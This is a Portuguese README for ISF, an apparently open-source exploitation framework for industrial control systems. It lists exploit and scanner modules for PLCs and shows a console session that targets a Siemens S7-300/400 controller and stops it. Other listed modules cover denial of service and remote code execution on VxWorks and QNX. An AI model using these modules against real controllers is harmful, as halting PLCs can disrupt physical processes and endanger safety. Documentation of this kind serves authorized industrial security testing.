Estrutura de Exploração Industrial

ISF (Industrial Exploitation Framework) é um framework de exploração baseado em Python, semelhante ao metasploit framework.

ISF é baseado no projeto open source routersploit.

Leia isto em outros idiomas: Inglês, Chinês Simplificado,

Aviso Legal

O uso do ISF para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade por uso indevido ou danos causados por este programa.

Clientes de Protocolos ICS

Nome	Caminho	Descrição
modbus_tcp_client	icssploit/clients/modbus_tcp_client.py	Cliente Modbus-TCP
wdb2_client	icssploit/clients/wdb2_client.py	Cliente WdbRPC Versão 2 (Vxworks 6.x)
s7_client	icssploit/clients/s7_client.py	Cliente s7comm (PLC S7 300/400)

Módulo de Exploit

Módulo de Scanner

Módulo de Protocolos ICS (Módulo Scapy)

Esses protocolos podem ser usados em outros frameworks de Fuzzing como Kitty ou para criar seu próprio cliente.

Instalação

Requisitos Python

gnureadline (apenas OSX)
requests
paramiko
beautifulsoup4
pysnmp
python-nmap
scapy Sugerimos instalar o scapy manualmente com este documento oficial

Instalação no Kali

git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

Uso

    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ \| |    / __ \_   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     \___ \\___ \|  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
    
    
                    ICS Exploitation Framework
    
    Note     : ICSSPOLIT is fork from routersploit at
               https://github.com/reverse-shell/routersploit
    Dev Team : wenzhe zhu(dark-lbp)
    Version  : 0.1.0
    
    Exploits: 2 Scanners: 0 Creds: 13
    
    ICS Exploits:
        PLC: 2          ICS Switch: 0
        Software: 0
    
    isf >

Exploits

isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

Você pode usar a tecla Tab para completar.

Opções

Exibir opções do módulo:

isf (S7-300/400 PLC Control) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Endereço do alvo ex. 192.168.1.1
   port       102                  Porta do alvo


Module options:

   Name        Current settings     Description
   ----        ----------------     -----------
   slot        2                    Número do slot da CPU.
   command     1                    Comando 0: iniciar PLC, 1: parar PLC.


isf (S7-300/400 PLC Control) >

Configurar opções

isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

Executar módulo

isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

Exibir informações sobre o exploit

isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
-  Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
-  wenzhe zhu <jtrkid[at]gmail.com>

References:

isf (S7-300/400 PLC Control) >

s7_300_400_plc_control	exploits/plcs/siemens/s7_300_400_plc_control.py	Controle de PLC S7-300/400 (iniciar/parar)
s7_1200_plc_control	exploits/plcs/siemens/s7_1200_plc_control.py	Controle de PLC S7-1200 (iniciar/parar/reiniciar)
vxworks_rpc_dos	exploits/plcs/vxworks/vxworks_rpc_dos.py	DoS remoto via RPC do Vxworks (CVE-2015-7599)
quantum_140_plc_control	exploits/plcs/schneider/quantum_140_plc_control.py	Controle de PLC Schneider Quantum série 140 (iniciar/parar)
crash_qnx_inetd_tcp_service	exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py	DoS do serviço TCP Inetd do QNX
qconn_remote_exec	exploits/plcs/qnx/qconn_remote_exec.py	Execução remota de código via qconn do QNX
profinet_set_ip	exploits/plcs/siemens/profinet_set_ip.py	Configuração de IP via Profinet DCP

profinet_dcp_scan	scanners/profinet_dcp_scan.py	Scanner Profinet DCP
vxworks_6_scan	scanners/vxworks_6_scan.py	Scanner Vxworks 6.x
s7comm_scan	scanners/s7comm_scan.py	Scanner S7comm
enip_scan	scanners/enip_scan.py	Scanner EthernetIP

pn_dcp	icssploit/protocols/pn_dcp	Protocolo Profinet DCP
modbus_tcp	icssploit/protocols/modbus_tcp	Protocolo Modbus TCP
wdbrpc2	icssploit/protocols/wdbrpc2	Protocolo WDB RPC Versão 2
s7comm	icssploit/protocols/s7comm.py	Protocolo S7comm

isf

Mais Populares